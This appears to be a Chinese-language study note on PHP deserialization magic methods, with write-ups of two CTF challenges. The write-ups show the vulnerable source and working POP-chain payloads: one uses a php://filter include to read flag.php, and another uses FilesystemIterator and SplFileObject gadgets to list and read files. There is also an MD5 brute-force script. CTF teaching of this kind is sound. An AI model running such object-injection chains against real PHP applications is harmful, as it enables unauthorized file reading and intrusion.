反序列化魔术方法
魔术方法
成员属性
变量和成员属性是一个东西
__consrtuct构造方法
在对象实例化时执行的方法
__construct()
只会在new一个对象时触发,serialiaze和unserialize都不会触发
__destruct()析构函数
__destruct()函数只会在序列化serialize()反序列化unserialize()和销毁一个对象时触发
__call
当前对象体调用一个不存在的方法时被触发
当前对象->不存在的方法
__get
访问一个对象 不存在的 变量时触发
当前对象->不存在的变量
__set
给对象的不存在的变量赋值时触发
当前对象->不存在的变量=参数值
__isset
用isset()和empty()访问不可访问的属性时触发
__unset销毁函数
销毁一个不可访问的成员属性时被触发
__sleep
序列化serialize()时触发
__wakeup
反序列化unserialize()时被触发
__toString
当前对象被当作字符串处理时 被触发也就是把对象转换成字符串
当作字符串处理:
在实例化对象之后,使用echo将其输出
__invoke
当前对象被当作函数调用时触发
总结
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),用调用函数的方式去调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
反序列化
序列化serialize():将对象转换成字符串,
反序列化unserialize():将转化为字符串的对象转化回来
反序列化时 使用unserialize()函数会触发魔术方法,只要能控制unserialize()入口,就能实现注入
先找能触发serialize或者unserialize的魔术方法
去实例化对象 然后去触发这个方法
比如有unserialize先找__wakeup,有serialize找__sleep方法
或者找__destruct方法用unserialize(或serialize)触发
序列化
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}
反序列化
[MRCTF2020]Ezpop
源码
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
pop链:
unserialize()函数,触发了Show类的wakeup魔术方法,正则匹配掉了一堆东西,source属性被当作字符串处理,触发toString方法,看到了str属性,发现可以触发Test类的get方法 让他访问不存在的变量str,此时会将p当作函数调用从而触发了Modifier的invoke方法,在调用append函数,include包含文件flag.php
看到unserialize函数和wakeup方法(phpinfo测试是否触发成功)
$this->source = "index.php";将对象当作字符串处理
Test类实例化对象访问不存在的变量str 触发get
此时被当作函数调用 触发了invoke
调用append函数,实现文件包含
用file://伪协议绕过
构造payload
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
//触发toString方法
$show=new Show;
$show1=new Show;
$show->source=$show1;
//触发get方法
$test=new Test;
$show1->str=$test;
//触发invoke
$m=new Modifier;
$test->p=$m;
echo urlencode(serialize($show));
base64解码
这里序列化的是show得到的flag
一开始序列化show1得到的payload是错的 传参一直没有回显才发现
[GHCTF 2024 新生赛]ezzz_unserialize
源码
<?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}
}
class NoNo {
private $peach;
public function __construct($string) {
$this -> peach = $string;
}
public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}
class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}
}
class UkyoTachibana{
public $banana;
public $mangosteen;
public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}
class UesugiErii{
protected $coconut;
protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}
class MaiSakatoku{
public $Carambola;
private $Kiwifruit;
public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}
if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}
看到 unserialize
函数, __destruct
方法,__toString
方法
此时对象被当作函数调用 触发 __invoke
方法
先是注意到了 $hey
访问不存在变量,会触发 __get
方法,看了所有的get,猜测是E类的
大是想要绕过invoke的md5有些麻烦
一开始以为是要双md5之后的加密值为‘123’,后来看了网上师傅们的w,才知道只要是双md5加密之后的值 前三位是‘123’就行,后面跟着任意的md5加密值就可以。
贴一下师傅的我脚本
import hashlib
import itertools
import string
charset = string.digits + string.ascii_letters
temp = itertools.permutations(charset, 3)
# 爆破字符
ss = "123"
for i in temp:
value = "".join(i)
hash1 = hashlib.md5(value.encode()).hexdigest()
result = hashlib.md5(hash1.encode()).hexdigest()
if result[:3] == ss and result[3].isdigit() != True:
print(value)
print(result)
D:\Pycharm\project4\pythonProject\.venv\ven\Scripts\python.exe D:\Pycharm\project4\pythonProject\hello\hi.py
1xE
123f91c054f21245ea0130c353cd268d
2tL
123efb30143bdfb734dbbca564d3b6c1
3lD
123bd5b684441a96f13ca9a84f27d85f
4Cs
123c4401f5e69ce636d84ba65e212d25
5nb
123b7f57292d091179acf104fb06fc46
8UF
123c73c352eb60ee0490d18cca679540
aW8
123ac960c0aeec921c78090612c97792
dY1
123be54b97522800b12460c054fbaaa2
esW
123d421d8e8cf3c6b510faafac4d6955
f0w
123b5b3e178d13229daa030ec761faeb
fpr
123a27f6b4365c6f2bf233ddbcf123c2
i2x
123b0c2ad09dcb72b1c741484302d617
jA4
123f275f3f51e568bb6b8e64aa915a96
l4c
123d2bea9174185c248e00ae5e3964ae
msj
123b8afe511deaebe3b6a09c46e79c5c
ouK
123f96770a22200a03d8390c9e5c5c99
v94
123ddcb3300a8c491c0b69437f30ea9c
x3Q
123e7c842bda99116a60ba21b2c8b8a4
za4
123be3a1e076a7733fd30d38b871c6aa
Bp7
123d12764c8b04ef2ef4e93cb99a2736
BsC
123a11415281d8580d04114c06b035d5
Cit
123b2893b87693cbf2a28e1154581930
F1J
123b443033f1f334cafc6dcdd18b906a
GJN
123e54b9d1c075c47c70ad37046adeac
Iyf
123cbc83ec3ea74e9ea169ff73a9f519
OgK
123fca0fb7f20f37ca89ffd0017676ca
V0E
123cef7793b532a38a5d9f07757045fe
X02
123caf12b42087246001ea5c15ee6369
XGd
123eb3bda6e069dd94ab06685a295ca9
进程已结束,退出代码为 0
array_walk函数:对数组中的每个元素应用用户自定义函数
FilesystemIterator
文件迭代器:
可实现,在不了解容器内部原理的情况下遍历容器(如,遍历一下容器的根目录)
在使用文件迭代器,构造pop链
<?php
class Sakura{
public $apple;
public $strawberry;
}
class E{
public $e;
}
class Heraclqs{
public $grape;
public $blueberry;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->FilesystemIterator = "/";
echo serialize($s);
替换路径
<?php
class Sakura{
public $apple;
public $strawberry;
}
class E{
public $e;
}
class Heraclqs{
public $grape;
public $blueberry;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->SplFileobject = "/1_ffffffflllllagggggg";
echo serialize($s);